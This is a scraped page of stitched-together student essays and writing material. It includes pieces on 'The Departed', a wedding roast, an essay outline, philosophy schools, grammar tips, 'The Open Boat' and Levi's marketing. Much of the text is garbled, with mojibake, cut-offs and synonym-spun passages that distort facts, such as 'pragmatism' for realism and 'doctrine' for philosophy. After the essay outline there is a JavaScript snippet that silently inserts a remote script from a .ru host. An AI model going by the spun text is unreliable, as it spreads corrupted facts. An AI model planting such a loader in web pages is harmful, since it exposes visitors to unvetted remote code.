Sociology Paper on the Move the Departed - 1135 Words

From watching the 2006 film titled â€Å"The Departed†, I argue that the social message of the film is not just identity but the changing of identity through socialization. This can best be described through the symbolic interaction theory. Like the main characters of the film, people give meaning to their behavior based on the meaning they impose on objects, events and other behaviors (Anderson Taylor, 2009). The film’s main protagonist Bill Costigan and main antagonist Colin Sullivan both share similar backgrounds and culture. Costigan â€Å"being born into a family with criminal backgrounds†, rebels against the social norm like his father and instead becomes an undercover state police officer. Sullivan on the other hand â€Å"with influence from†¦show more content†¦He gets by from the experiences he had from being born into a family with criminal ties. Organized crime syndicates are often based on racial, ethnic, and family ties, with different gro ups dominating and replacing each other (Anderson Taylor, 2009). This doesn’t just help his cover story, but allows him to use his past experience to project the appropriate behavior to avoid suspicion. Costigan’s social conflict may seem to be unsolved due to his death. The fact that he is given a proper officer’s funeral, and essentially gets his identity back by being acknowledge as police officer shows otherwise. Sullivan’s troubles in this film come from both trying to please Costello and be a model detective. Sullivan sees Costello as a father figure. This is shown throughout the film while talking on the phone Sullivan always addresses Costello as dad. Even though this is just a code word. The relationship between these two ends in conflict after Sullivan realizes that Costello has been a FBI informant the entire time. Social structure is pattern of social relationships and institutions that make up society (Anderson Taylor, 2009). A great example of social structure in the film is when Dr. Madolyn tells Sullivan at dinner that without criminals there would be no need for police. Race comes into play early in the film with the separation of the mob groups both Irish and Italian. African Americans and PuertoShow MoreRelated The Life and Work of C.G. Jung Reconsidered Essay4204 Words   |  17 PagesThe Life and Work of C.G. Jung Reconsidered   Ã‚  Ã‚  Ã‚  Ã‚  In my original paper on Carl Gustav Jung, I took a rather skeptical view of the doctor and his work, for several reasons that I will reiterate. However, after studying further into his work, I realized that these objections only related to his early psychiatric cases, and I found myself to be far more intrigued and impressed by his later work and theories. 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Best Man Wedding Speech (Roast) Essay - 579 Words

Best Man Wedding Speech Ladies and Gentlemen, Its time for me to make a speech now and quite frankly, theres not a lot you can do about that. Well, if theres anybody here this evening who feels strangely nervous and apprehensive, its probably because you just went and married Bill Meyers! Sorry Lacy - Its too late now. Youre stuck with him. When it comes to Best Mans speeches there are some things in the interests of good taste, which are better left unsaid.....well, Im here to say them! Some people need no introduction....Bill Meyers needs all the introduction he can get. He could be described as charming, intelligent, witty...and perhaps one day he will be. Bill was born in October 1970. The Beatles had†¦show more content†¦Weve always got on pretty well, besides the regular traditional beatings that , by rights, older brothers dish out to younger siblings. We used to play a lot of games as kids and occasionally some of them wouldnt involve random violence. At school Bill was a very bright student, he was an avid reader and played a lot of sport....unfortunately he could also be a bit temperamental - a bit sulky and at times difficult to live with. When he was 15 mum and dad actually ran away from home! However he relaxed when he got a bit older. He went to Australia and happily, as we all know the lovely Miss Elliot came into his life. So now Bill is married to a wonderful person....unfortunately Lacys not that lucky. Nevertheless, I thought today was fantastic and worked out really well. You know, it was quite apt that Bill got married in a winery...after all, he does like a drink..and whats wrong with that? Most of the time he doesnt drink anything stronger than pop.... Mind you, Pop will drink anything. There is a gym at Bills place but he prefers to use his own parallel bars...one for brandy and one for scotch! He is very conscious of his diet though. Everyday he eats something from one of the four main food groups - Mc.Donalds, Burger King, Wimpy and KFC. In all seriousness though, Im convinced Lacy and Bill are right for each other - and thats not an insult to you Lacy! I think its wonderfulShow MoreRelatedAbout Schmidt Essay1315 Words   |  6 PagesAbout Schmidt This movie is about a sixty-six year old man named Warren Schmidt who’s a recently retired and widowed. Suddenly he finds himself left alone to face the loss and changes in his life. He decides to take a road trip to visit places that he had not been to for a long times and do some sightseeing before heading off to Denver for his daughter’s wedding. The film starts off with Schmidt’s last day at work before his retirement, we see him sittingRead MoreFrench Terms for Ib Sl French B8316 Words   |  34 Pagesare those that are written similarly to their English counterparts, but pronounced in a markedly different way. At Higher tier, candidates should know how to interpret suffixes as linguistic markers showing relationships between different parts of speech and have an awareness of the function of prefixes to modify the meaning of the root: e.g. rà ©server à ¼bernachten producir rà ©servation ÃÅ"bernachtung reducir introducir place rà ©servà ©e Page 4 of 52 GCSE French General Vocabulary List  © OCR 2009 FrenchRead MoreIgbo Dictionary129408 Words   |  518 Pages.......................................................................... 14 6. Grammatical sketch .................................................................................................................................. 15 6.1 Parts of speech ..................................................................................................................................... 15 6.2 Verbs....................................................................................................Read MoreManaging Information Technology (7th Edition)239873 Words   |  960 PagesSoftware Piracy 586 Copyright Protection Patent Protection 586 586 Digital Entertainment Piracy 587 Internet File Sharing 587 Ethical Questions 589 Other Social Issues 589 Access to the Technology 589 Freedom of Speech 590 Hazards of Inaccuracy 590 Impact on Workers The Future 590 591 Review Questions 591 †¢ Discussion Questions 592 †¢ Bibliography 592 569 xiii xiv Contents ̈ CASE STUDY IV-1 The Clarion School for Boys, Inc.—Milwaukee

Tool Essay Research Paper ESSAY OUTLINE FORMMain free essay sample

Tool Essay, Research Paper ESSAY OUTLINE FORM Main ( Controling ) Idea of the essay: Three chief points of statement ( 1 ) ( 2 ) ( 3 ) Introduction: [ Introduction should get down on a general degree with lead-in statements and bit by bit concentrate in on the specific subject of the essay. In the debut, the reader should happen the chief thought of the essay expressed in the thesis sentence. Besides in the debut, the reader should be able to state what specific points about the chief thought will be discussed and in what order they will be developed. The lead in statements could ( 1 ) do a dramatic averment, ( 2 ) usage a split anecdote ( a narrative that is begun in the debut and is finished in the decision ) , ( 3 ) use an interesting item, statistic, or citation, or ( 4 ) inquire a provocative inquiry. The debut should do the reader want to go on reading. ] Lead-in statements: Thesis ( which includes points of statement ) : Body: [ Each subject sentence should be a major point of statement which supports the thesis statement. Primary support sentences are general statements which support the subject sentence. The secondary support sentences ( or concrete illustrations ) , which support the primary support sentences, provide specific inside informations, quotation marks, statistics, or real-life illustrations. ] Body Paragraph 1 ( develops foremost point of statement ) : Topic sentence Primary Support: Secondary Support: Primary Support: Secondary Support: Primary Support: Secondary Support: Body Paragraph 2 ( develops 2nd point of statement ) : Topic sentence: Primary Support: Secondary Support: Primary Support: Secondary Support: Primary Support: Secondary Support: Body Paragraph 3 ( develops 3rd point of statement ) : Topic sentence: Primary Support: Secondary Support: Primary Support: Secondary Support: Primary Support: Secondary Support: Decision: [ The reasoning paragraph should include a general sum-up statement which recaps the thesis, a sentence which restates the major points of statement, and a wrap-up statement. The decision could besides incorporate the terminal of a split anecdote which would complete the narrative begun in the debut. The wrap-up statement could incorporate penetrations of the essay author, promote the reader to take action, stress the importance of one of the points of statement, or make a solid sense of conclusiveness. ] General sum-up statement which recaps thesis: Recap major points of statement: Wrap-up statement ( effects and penetrations ) : / gt ; Handouts ESSAY OUTLINE FORM Main ( Controling ) Idea of the essay: Three chief points of statement ( 1 ) ( 2 ) ( 3 ) Introduction: [ Introduction should get down on a general degree with lead-in statements and bit by bit concentrate in on the specific subject of the essay. In the debut, the reader should happen the chief thought of the essay expressed in the thesis sentence. Besides in the debut, the reader should be able to state what specific points about the chief thought will be discussed and in what order they will be developed. The lead in statements could ( 1 ) do a dramatic averment, ( 2 ) usage a split anecdote ( a narrative that is begun in the debut and is finished in the decision ) , ( 3 ) use an interesting item, statistic, or citation, or ( 4 ) inquire a provocative inquiry. The debut should do the reader want to go on reading. ] Lead-in statements: Thesis ( which includes points of statement ) : Body: [ Each subject sentence should be a major point of statement which supports the thesis statement. Primary support sentences are general statements which support the subject sentence. The secondary support sentences ( or concrete illustrations ) , which support the primary support sentences, provide specific inside informations, quotation marks, statistics, or real-life illustrations. ] Body Paragraph 1 ( develops foremost point of statement ) : Topic sentence Primary Support: Secondary Support: Primary Support: Secondary Support: Primary Support: Secondary Support: Body Paragraph 2 ( develops 2nd point of statement ) : Topic sentence: Primary Support: Secondary Support: Primary Support: Secondary Support: Primary Support: Secondary Support: Body Paragraph 3 ( develops 3rd point of statement ) : Topic sentence: Primary Support: Secondary Support: Primary Support: Secondary Support: Primary Support: Secondary Support: Decision: [ The reasoning paragraph should include a general sum-up statement which recaps the thesis, a sentence which restates the major points of statement, and a wrap-up statement. The decision could besides incorporate the terminal of a split anecdote which would complete the narrative begun in the debut. The wrap-up statement could incorporate penetrations of the essay author, promote the reader to take action, stress the importance of one of the points of statement, or make a solid sense of conclusiveness. ] General sum-up statement which recaps thesis: Recap major points of statement: Wrap-up statement ( effects and penetrations ) : Handouts ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

The Philosophical Notion of Idealism Essay Sample free essay sample

This article is about the philosophical impression of idealism. For other utilizations. see Idealism ( disambiguation ) In doctrine. idealism is the group of doctrines which assert that world. or world as we can cognize it. is basically mental. mentally constructed. or otherwise immaterial. Epistemologically. idealism manifests as a incredulity about the possibility of cognizing any mind-independent thing. In a sociological sense. idealism emphasizes how human thoughts — particularly beliefs and values — form society. [ 1 ] As an ontological philosophy. idealism goes farther. asseverating that all entities are composed of head or spirit. [ 2 ] Idealism therefore rejects physicalist and dualist theories that fail to impute precedence to the head. The corresponding thought in metaphysics is monism. The earliest extant statements that the universe of experience is grounded in the mental derive from India and Greece. The Hindu dreamers in India and the Grecian Neoplatonists gave pantheistic statements for an all-pervading consciousness as the land or true nature of world. [ 3 ] In contrast. the Yogacara school. which arose within Mahayana Buddhism in India in the fourth century CE. [ 4 ] based its â€Å"mind-only† idealism to a greater extent on phenomenological analyses of personal experience. This bend toward the subjective awaited empiricists such as George Berkeley. who revived idealism in 18th-century Europe by using disbelieving statements against philistinism. Get downing with Immanuel Kant. German dreamers such as G. W. F. Hegel. Johann Gottlieb Fichte. Friedrich Wilhelm Joseph Schelling. and Arthur Schopenhauer dominated 19th-century doctrine. This tradition. which emphasized the mental or â€Å"ideal† character of all phenomena. birthed idealistic and subjectivist schools runing from British idealism to phenomenalism to existential philosophy. The historical influence of this subdivision of idealism remains cardinal even to the schools that rejected its metaphysical The twentieth century British scientist Sir James Jeans wrote that à ¢â‚¬Å"the Universe begins to look more like a great idea than like a great machine† Realism is a doctrine of head rooted in the â€Å"common sense† doctrine of perceptual experience known as naif pragmatism. which has been developed as â€Å"direct† pragmatism when distinguished from representative pragmatism. the position that we can non comprehend the external universe straight. Critical pragmatism is the doctrine of perceptual experience concerned with the truth of human sense-data. In epistemology pragmatism is accounted a subcategory of objectivism. Hyper-realism or Hyperreality. on the other manus. doubts the inability of consciousness to separate world from phantasy. Nonnatural pragmatism is a construct implying that persons have a perfect apprehension of the restrictions of their ain heads. Realism is non the idea of being existent. In metaphysics Platonic pragmatism describes a doctrine articulated by Plato. situating the being of universals. Moderate pragmatism is a place keeping that there is no kingdom where universals exist. New pragmatism denotes a school of early 20th-century epistemology rejecting epistemic dualism and Organic pragmatism or the Organism. describes the metaphysics of Alfred North Whitehead. now known as procedure doctrine. Australian pragmatism or Australian philistinism is a twentieth Century school of doctrine in Australia. Truth-value nexus pragmatism is a metaphysical construct explicating how to understand parts of the universe that are seemingly cognitively unaccessible. Quasi-realism is an expressivist meta-ethical theory which asserts that though our moral claims are projectivist we understand them in realist footings. In spiritual doctrine Christian Realism was advocated by Reinhold Niebuhr and mystical pragmatism. a doctrine refering the nature of the Godhead. was advanced by Nikolai Berdyaev. Modal pragmatism is a doctrine propounded by David Lewis which states that possible universes are every bit existent as the existent universe. The Scots School of Common Sense Realism Scots Common Sense Realism is a school of doctrine that sought to support naif pragmatism against philosophical paradox and agnosticism. reasoning that affairs of common sense are within the range of common apprehension and that common-sense beliefs even govern the lives and ideas of those who hold non-commonsensical beliefs. It originated in the thoughts of the most outstanding members of the Scots School of Common Sense. Thomas Reid. Adam Ferguson and Dugald Stewart. during the eighteenth century Scottish Enlightenment and flourished in the late 18th and early 19th centuries in Scotland and America Pragmatism is a philosophical tradition centered on the linking of pattern and theory. It describes a procedure where theory is extracted from pattern. and applied back to pattern to organize what is called intelligent pattern. [ commendation needed ] Important places characteristic of pragmatism include instrumentalism. extremist empiricist philosophy. verificationism. conceptual relativity. and fallibilism. [ commendation needed ] There is general consensus among pragmatists that doctrine should take the methods and penetrations of modern scientific discipline into history. [ 1 ] Charles Sanders Peirce ( and his matter-of-fact axiom ) deserves most of the recognition for pragmatism. [ 2 ] along with ulterior 20th century subscribers. William James and John Dewey. [ 1 ] Perennialism believe that one should learn the things that one deems to be of everlasting applicability to all people everyplace. They believe that the most of import subjects develop a individual. Since inside infor mations of fact alteration invariably. these can non be the most of import. Therefore. one should learn rules. non facts. Since people are human. one should learn first about worlds. non machines or techniques. Since people are people foremost. and workers 2nd if at all. one should learn broad subjects foremost. non vocational subjects. A peculiar scheme with modern perennialists is to learn scientific logical thinking. non facts. They may exemplify the concluding with original histories of celebrated experiments. This gives the pupils a human side to the scientific discipline. and shows the logical thinking in action. Most significantly. it shows the uncertainness and false stairss of existent scientific discipline. Although perennialism may look similar to essentialism. perennialism focuses foremost on personal development. while essentialism focuses foremost on indispensable accomplishments. Essentialist course of study therefore be given to be much more vocational and fact-based. and far less broad and principle-based. Both doctrines are typically considered to be teacher-centered. as opposed to stu dent-centered doctrines of instruction such as progressivism. However. since the instructors associated with perennialism are in a sense the writers of the Western chef-doeuvres themselves. these instructors may be unfastened to student unfavorable judgment through the associated Socratic method. which. if carried out as true duologue. is a balance between pupils. including the instructor advancing the treatment. Essentialism In doctrine. essentialism is the position that. for any specific entity ( such as a group of people ) . there is a set of incidental properties all of which are necessary to its individuality and map. [ 1 ] Harmonizing to essentialism. a member of a specific group may possess other features that are neither needed to set up its rank nor prevent its rank. but that kernels do non merely reflect ways of grouping objects ; they besides result in belongingss of the object. as the object can be subjugated to smaller contexts. [ 2 ] This position is contrasted with non-essentialism. which states that. for any given sort of entity. there are no specific traits which entities of that sort must possess. Anthropology professor Lawrence Hirschfeld gives an illustration of what constitutes the kernel of a tiger. regardless of whether it is striped or albino. or has lost a leg. The indispensable belongingss of a tiger are those without which it is no longer a tiger. Other belongingss. such as chev rons or figure of legs. are considered unessential or ‘accidental’ . [ 3 ] Biologist Ernst Mayr epitomizes the consequence of such an essentialist character of Platonic signifiers in biological science: â€Å"Flesh-and-blood coneies may change. but their fluctuations are ever to be seen as blemished divergence from the ideal kernel of rabbit† . For Mayr. the healthful antithesis of essentialism in biological science is â€Å"population thinking† . Existentialism is a term applied to the work of a figure of late 19th- and 20th-century philosophers who. despite profound doctrinal differences. [ 1 ] [ 2 ] [ 3 ] shared the belief that philosophical thought begins with the human subject—not simply the thought topic. but the playing. feeling. populating human single. [ 4 ] In existential philosophy. the individual’s get downing point is characterized by what has been called â€Å"the experiential attitude† . or a sense of freak out and confusion in the face of an seemingly meaningless or absurd universe. [ 5 ] Many existential philosophers have besides regarded traditional systematic or academic doctrines. in both manner and content. as excessively abstract and distant from concrete human experience. [ 6 ] [ 7 ] Soren Kierkegaard is by and large considered to hold been the first existential philosopher philosopher. [ 8 ] [ 9 ] [ 10 ] He proposed that each individual—not society or religion—is entir ely responsible for giving significance to life and populating it passionately and unfeignedly ( â€Å"authentically† ) . [ 11 ] [ 12 ] Existentialism became popular in the old ages following World War II. and strongly influenced many subjects besides doctrine. including divinity. play. art. literature. and psychological science. [ 13 ] Scholars have remarked by and large that many self-described â€Å"existentialist† philosophers have positions that differ deeply from one another’s Soren Kierkegaard and Friedrich Nietzsche were two of the first philosophers considered cardinal to the existentialist motion. though neither used the term â€Å"existentialism† and it is ill-defined whether they would hold supported the existential philosophy of the twentieth century. They focused on subjective human experience instead than the nonsubjective truths of mathematics and scientific discipline. which they believed were excessively detached or experimental to truly acquire at the human experience. Like Pascal. they were interested in people’s quiet battle with the evident nonsense of life and the us age of recreation to get away from ennui. Unlike Pascal. Kierkegaard and Nietzsche besides considered the function of doing free picks. peculiarly sing cardinal values and beliefs. and how such picks change the nature and individuality of the picker. [ 41 ] Kierkegaard’s knight of religion and Nietzsche’s Ubermensch are representative of people who exhibit Freedom. in that they define the nature of their ain being. Nietzsche’s idealized single invents his or her ain values and creates the really footings they excel under. By contrast. Kierkegaard. opposed to the degree of abstraction in Hegel. and non about as hostile ( really welcoming ) to Christianity as Nietzsche. argues through a anonym that the nonsubjective certainty of spiritual truths ( specifically Christian ) is non merely impossible. but even founded on logical paradoxes. Yet he continues to connote that a spring of religion is a possible agency for an person to make a higher phase of being that transcends and contains both an aesthetic and ethical value of life. Kierkegaard and Nietzsche were besides precursors to other rational motions. including postmodernism. and assorted strands of psychological science. However. Kierkegaard believed that an person should populate in conformity with his or her thought. This point of position is forced upon spiritual persons much more frequently than upon philosophers. psychologists. or scientists.

Common 2 and 3-Star Errors That Should Be Avoided

Common 2 and 3-Star Errors That Should Be Avoided Learn how to avoid common 2 and 3-star mistakes at Textbroker. It can be difficult to catch every mistake, but following these tips should help. Meagan RiggsQA EditorHere’s your dilemma: You want to improve your rating but don’t know where to begin. When you’re at the 2- or 3-star level, your best option is to look at your common grammar mistakes and at your writing process. Common Errors at the 2-star Level What separates 2-star writing from that of a 3-star author? Clarity is the top factor. Across the board, 2-star writing tends to contain awkwardly phrased sentences, missing words, misspellings, odd punctuation and illogical arguments that detract from the reader’s understanding. Spelling, Spacing and Punctuation Example: To indulge his love of sience,he went to the libary to gind books about biology,geology and psychics.Correction: To indulge his love of science, he went to the library to find books about biology, geology and physics.The way your orde r looks is apparent before the first word is read. Typos are expected in 2-star orders, but they shouldn’t take away from the meaning of a sentence, as in the example above where reading about psychics would not fit in with a love of science, or the overall theme of the order. Running your article through the spelling and grammar checker in Microsoft Word or a similar program will pick up many errors while any words you are unsure of deserve a quick check in the dictionary or at Merriam-Webster. Also, watch out for colloquialisms and slang terms in formal writing as using them can add confusion to a broad audience of readers.As for punctuation and spacing, always place a period at the end of a complete sentence, and add a space after commas, semicolons, periods and other punctuation marks. Most Textbroker orders call for multiple paragraphs or sections. A paragraph is generally about three to five sentences, and leaving a blank space between paragraphs helps the overall prese ntation to the reader. Fused Sentences, Sentence Fragments and Comma Splices Example: I walked my dog yesterday the dog park is really fun, we go there all the time. Especially when it’s sunny.Correction: I walked my dog yesterday. The dog park is really fun, and we go there all the time, especially when it’s sunny.When a sentence is a fragment, an incomplete sentence, or combines multiple complete sentences without punctuation as in a fused or run-on sentence, it creates confusion for the reader and diminishes the point you are making within the article. Comma splices, which are similar to fused sentences but with commas, are also common among 2-star writing. Awkward Sentence Structure Example: Wanting to play outside, the broccoli on her plate needed to be finished first.Correction: She wanted to play outside but needed to finish the broccoli on her plate first.Sometimes, awkward sentences come from misplaced phrases. It makes sense. You’re trying to get the i nformation on the page, and not every sentence will come out right the first time as in the above example. This is where proofreading, going back over your work to check for errors, helps you make corrections and create logical thoughts. If you find yourself having trouble with clear sentences, this site offers tips on sentence structure and mechanics. Errors at the 3-star Level When you’re at the 3-star level, your argument might be clear, but it’s still hindered from rising to the level of 4-star writing by grammar obstacles like homonym errors, comma mistakes and filler—a writing style that presents its own set of issues with passive voice, redundancy and leading the article off-topic. Homonyms and Common Misspellings Example: You’re decision to drop out of school defiantly doesn’t effect me.Correction: Your decision to drop out of school definitely doesn’t affect me. In addition to missing typos that actually spell other words correctly, like â€Å"defiantly† and â€Å"definitely,† 3-star level misspellings often come in the form of homonym errors. These words sound alike but have different meanings and are not spelled the same. Two of the most common might be â€Å"your,† as in something that belongs to you, and â€Å"you’re,† which is a contraction of â€Å"you are.† Here’s a list of other easily confused words like â€Å"their,† â€Å"there,† and â€Å"they’re.† Comma Use and Parts of Speech—Sometimes Example: If she had listened to the traffic report, she would have taken side streets, and arrived on time to work.Correction: If she had listened to the traffic report, she wouldn’t have taken the freeway and arrived on time to work.Typically, 3-star writing shows understanding of comma usage about half the time. In the above sentence, the introductory comma is correct, but a comma that appears before a coordinating conjunct ion is only used when both clauses are independent. A basic grasp of grammar, such as proper article use (a/an/the) and consistent subject/verb agreement, help make the writing clear at this level, although more complex punctuation like semicolons, colons and hyphens are more of a challenge. Filler Example: This incredible product makes a variety of foods that suit your needs.Correction: This toaster oven not only perfectly heats your toast in the morning but warms up last night’s pizza for lunch, making it practical for any meal. Filler is anything that does not add value to your article. This can be in the form of repetitive phrasing or ideas, being vague as in the example above or making obvious or irrelevant statements. The last of these often takes the article off-topic. Another characteristic of filler is the use of passive voice, which takes the action out of a sentence and often distances the reader from your argument or topic. Examine Your Writing Process How you ap proach your article will make a difference in the quality of your content. Since making a clear statement to your audience is at the heart of all writing, try making these three things part of your process on the path to improvement.1. Comprehension: When you start writing, check that you understand your topic. Read and research thoroughly, and then, summarize what you’ve learned. This will help not only prevent plagiarism but clarify that you know your subject. If you have time, don’t be afraid to walk away from your summary or a first draft, even if only for five minutes, so that you return to your writing with fresh eyes.2. Reading out loud: If you’re working somewhere that it’s permitted, read your article out loud to catch awkward sentence construction and ensure logical flow. You’re more likely to gloss over something if you’re reading it silently.3. Spell check: Before you hit submit, give your text one last run through a spelling and grammar checker. It’s worth it.

Essay on The Open Boat

Essay on The Open Boat Free Online Research Papers In the span of your life time, you will certainly be sure to encounter some struggle against nature. Your struggle may be as little as trying to change a tire in the middle of a rain storm or as severe as expressed in Stephen Crane’s story The Open Boat. From the beginning of time man has pondered the question as to â€Å"Why was I placed here on Earth?† We tend to see ourselves as being important, that we have to leave our mark in order for life to have some sort of meaning. In this story, four men, known simply as the captain, the oiler, the correspondent, and the cook, become stranded in the sea in a small boat. Together they are forced to bare the torments of one of Mother Nature’s toughest challenges, the open sea. In this process these four men learn much about nature and just how little they are on Earth. One of the characters, the correspondent, comes to the realization that nature is indifferent despite the struggles of the individuals, â€Å"When it occurs to a man that nature does not regard him as important, and that she feels she would not maim the universe by disposing of him†¦Ã¢â‚¬  (para, 174). The captain, who is seen as a symbol of strength to the other men on the boat, has doubt as to whether they can make it to shore safely, â€Å"Then the captain, in the bow, chuckled in a way that expressed humor, contempt, tragedy, all in one. â€Å"Do you think we’ve got much of a show now, boys?† (para, 25). The men in the boat are still upset with what fate has dealt them and seem to have the same opinion that they are still in control of their outcome, â€Å"If I am going to be drowned-if I am going to be drowned- if I am going to be drowned, why, in the name of the seven mad gods who rule the sea, was I allowed to come thus far and contemplate sand and trees? Was I brought here merely to have my nose dragged away as I was about to nibble the sacred cheese of life?† (para,142). The men are in a desperate situation, but nature continues to go on as if they were not there. This unsubstantial state is evident in the story when a shark swimming next to them doesn’t even take notice of their existence (para, 169). All four men in the boat are searching for some sort of miracle to happen, but neither nature nor fate sends anything their way. All they have to comfort themselves is each other. Throughout the story the men in the boat are working together for a common purpose, to get to the shore. The correspondent remembers a verse about a soldier of the Legion dying in Algiers (para, 178), and realizes that he and the other men in the boat are like the soldier, alone and they only have each other to get through their crisis. These men must work together to form a unity amongst each other, if they are to survive what fate has given them. This comradeship is evident throughout the story by the men sharing the chore of rowing the boat, â€Å"The correspondent wondered ingenuously how in the name of all that was sane could there be people who thought it amusing to row a boat† (para, 50). When the men of the boat came to the realization that they may parish, the will to live was stronger than what nature or fate had in store for them (para, 70). At this instance is when the men seem to come together, and through their companionship, they have the ability to make it thro ugh any obstacle fate or nature puts in front of them. At the conclusion of the story, the survivors in the boat feel they understand natures language, â€Å"When it came night, the white waves paced to and fro in the moonlight, and the wind brought the sound of the great sea’s voice to the men on the shore, and they felt that they could then be interpreters.†, (para, 235). When I read this I remember a saying my grandmother use to say, â€Å"When life gives you sour lemons, make lemonade.† This is true but it would be better if shared with another. In the end, no matter what life gives you, you always have your fellow man to share your experiences. Research Papers on Essay on â€Å"The Open Boat†Mind TravelThe Spring and AutumnHarry Potter and the Deathly Hallows EssayThe Masque of the Red Death Room meaningsUnreasonable Searches and SeizuresComparison: Letter from Birmingham and CritoEffects of Television Violence on ChildrenHip-Hop is ArtCanaanite Influence on the Early Israelite ReligionOpen Architechture a white paper

International marketing Essay Example | Topics and Well Written Essays - 2000 words

International marketing - Essay Example The fashion retail industry in Spain is turbulent as the fashion conscious consumers expect and thrive for constant change. Added to the changing consumer preferences are the factors like globalization and the technological changes that have truly revolutionized the Spain fashion retailing industry. Thus Levis has to primarily take into account the SLEPT factors or the social, legal, economical, political and technological factors. S-social factors include the demographics and the market segmentation is based on these factors. The class structure, culture and the consumption pattern has to be taken into account. The highest spending age group in the jeans market is between 15 and 24. Jeans are now even worn to work. Broader assortment of jeans is now available to suit different occasions. In the apparel industry demand is uncertain because it is difficult to foresee the fashion trends in advance for a certain season and product failure rates can be as high as 10 percent (Diaz, 2005). Demand can also be volatile because demand can change suddenly due to a variety of external factors. L-legal: The abolition of the quotas in the textile industry has pushed down the prices of clothes in general, making the market very competitive. The cheap chic revolution has turned the European fashion market upside down (Mesure, 2007). Jeans in the market are trying to differentiate themselves with cult connotations, lifestyle images, and distinctive details. E-economic: The Spanish fashion industry has experienced exponential growth in the last decade, not merely in women’s clothing as fashion is generally associated with, but in menswear childrenswear and accessories as well. The fashion industry today is marked by short life-cycles, high volatility, low predictability and high impulse purchasing (Christopher, Lowson & Peck, 2004). The weakening of the US dollar has caused a shift in the